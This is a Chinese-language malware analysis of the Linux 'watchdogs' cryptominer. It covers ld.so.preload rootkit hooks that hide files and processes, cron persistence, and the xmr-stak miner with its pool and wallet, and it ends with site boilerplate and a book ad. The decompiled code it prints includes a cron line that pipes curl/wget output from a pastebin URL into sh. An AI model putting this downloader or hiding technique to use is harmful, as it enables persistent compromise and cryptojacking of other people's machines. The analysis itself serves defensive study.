内容简介:*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。首先分析下watchdog程序。
*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。
0×1 Watchdogs程序
首先分析下watchdog程序。
由于程序使用golang编写的ida无法识别其中的符号信息,需要手动修复一下,可使用以下idapython脚本进行修复,修复后可还原一部分方法名。便于之后的分析。
脚本地址: https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro
通过脚本还原符号,重命名了 3946 个方法。
下面分析主函数 main.main():
Main 函数中主要做的工作就是:
1. 将watchdogs这个进程设置为系统服务 2. 将libioset写入到/etc/ld.so.preload中 3. 将写入定时任务,远程下载挖矿文件 4. 启动ksoftirqds进程进行挖矿操作 5. 更新程序 6. 删除一些文件(watchdogs&ksoftirqds&config.json)
下面是详细分析。
主要操作预览:
这里是将watchdogs添加为系统服务:
这里大概的意思是将libioset.so写入奥/etc/local/ld.so.preload:
这里是写入配置信息到文件/tmp/config.json中:
这里是写入定时任务:
通过查看计划任务发现。
每15分钟执行一次下载操作:
通过网页访问这个url发现其是一段base64加密的数据。
Base64解密后如下。
这里是检查更新:
通过tcpdump进行协议抓包分析,发现有挖矿行为:
通过htop进行进程分析,发现会启动以下的进程,cpu占用率极高:
通过使用inotify监视bin目录,发现其删除了一个netstat命令:
通过分析可知watchdogs可知程序执行过程中会释放watchdogs,config.json及ksoftirqds到tmp目录下。
下面我们来细细的分析下释放出来的挖矿木马程序ksoftirqds。
在watchdogs的中,对watchdos,config.json,ksoftrqds进行了删除操作:
另外为了隐藏进程信息及相关的文件信息,该病毒也对对一些libc.so中的函数进行了重写,如readdir函数。
主要工作:
1、加载动态链接库libc.so
2、old_readdir =(__int64 (__fastcall *)(_QWORD))dlsym(libc, “readdir”);// 加载libc.so中的readdir函数,打开一个目录。
这里有一个do while statement:
do { v4 = old_readdir(a1); // 使用readdir打开一个目录 if ( v4 ) { if ( (unsigned int)get_dir_name(a1, &s1, 0x100uLL)// 调用getdirname && !strcmp(&s1, "/proc") && (unsigned int)get_process_name(v4 + 19, &v3) && !strcmp(&v3, "ksoftirqds") ) { return 0LL; } if ( !strcmp(&v3, "watchdogs") ) return 0LL; } if ( v4 && !strcmp((const char *)(v4 + 19), ".") ) strcmp((const char *)(v4 + 19), "/"); } while ( v4 && (strstr((const char *)(v4 + 19), "ksoftirqds")// 判断ksoftirqds是否是v4+19这个地址中的字符串的子集 || strstr((const char *)(v4 + 19),"ld.so.preload") || strstr((const char *)(v4 + 19), "libioset.so")) );
大致的意思是:
如果存在v4+19 地址上存在ksoftirqds,ld.so.preload,libioset.so,则检查指定目录:
是否存在ld.so.preload文件 是否存在ksoftirqds的信息 是否存在watchdog的信息
这里是重写了readir函数,作用是,如果程序使用了该函数执行后,结果中包含恶意应用名称及路径,则不返回相应结果,起到隐藏作用。
另外程序也对rmdir函数进行了重写,防止恶意程序的文件被删除。
这里是重写的函数列表:
其中作者不仅在access中做了隐藏操作,进行了写入计划任务的操作:
这里是写入定时任务:
s =fopen("/etc/cron.d/root", "w+");
if( s )
{
fwrite(
"*/10 * * * * root (curl -fsSL https://pastebin.com/raw/sByq0rym ||wget -q -O- https://pastebin.com/raw/sByq0rym )|sh\n##",
1uLL,
0x75uLL,
s);
fclose(s);
}
0×2 针对ksoftirqds的分析(挖矿)
如果我们想分析ksoftirqds的话,需要将tmp目录使用chattr +a /tmp命令锁住,这样可以防止这些文件被删除。
通过分析发现,这个木马文件也是用upx加壳的,我们使用upx工具执行:upx-d 即可脱壳。
下面使用ida进行源码分析。
首先使用ida的字符串检索功能,找到如下矿池地址:
搜索xmr.f2pool.com,跟入并寻找引用位置。
找到了钱包钱包地址:
它是在do_guided_pool_config这个函数中的,这里做矿池配置。
Main()->do_guided_pool_config()
通过分析该木马使用的是一款名叫xmr-stak的挖矿程序:
它的项目地址地址在 https://github.com/fireice-uk/xmr-stak 。
对象的github项目的特征位置:
这款挖矿系统除了能够挖掘门罗币,还能够挖掘以下的虚拟货币:
watchdogs 中写入定时任务,释放ksoftirqds进行挖矿,并每个15分钟检查更新。
ksofttirqds 程序主要是使用xmr-stak挖矿程序挖掘门罗币。
其矿池为:tcp://xmr.f2pool.com:13531
钱包地址为:46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.tenx
*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
MFC编程技巧与范例详解
曾凡锋、苗雨 / 清华大学出版社 / 2008-10 / 45.00元
本书集作者多年教学与软件开发经验,通过不同类型的实例详解向读者解读了如何使用MFC进行软件开发,并按实例的复杂度进行分级介绍,以满足不同层次读者的切实需要。. 本书共55个完整实例,均选自作者多年工程应用开发中的案例;内容共分14章,分别为MFC的基本概念、文档和视图、对话框、按钮控件、编辑控件、组合框控件、列表框控件、列表视图控件、树状视图控件、图像、多媒体、GDI与GDI+、网络编程、I......一起来看看 《MFC编程技巧与范例详解》 这本书的介绍吧!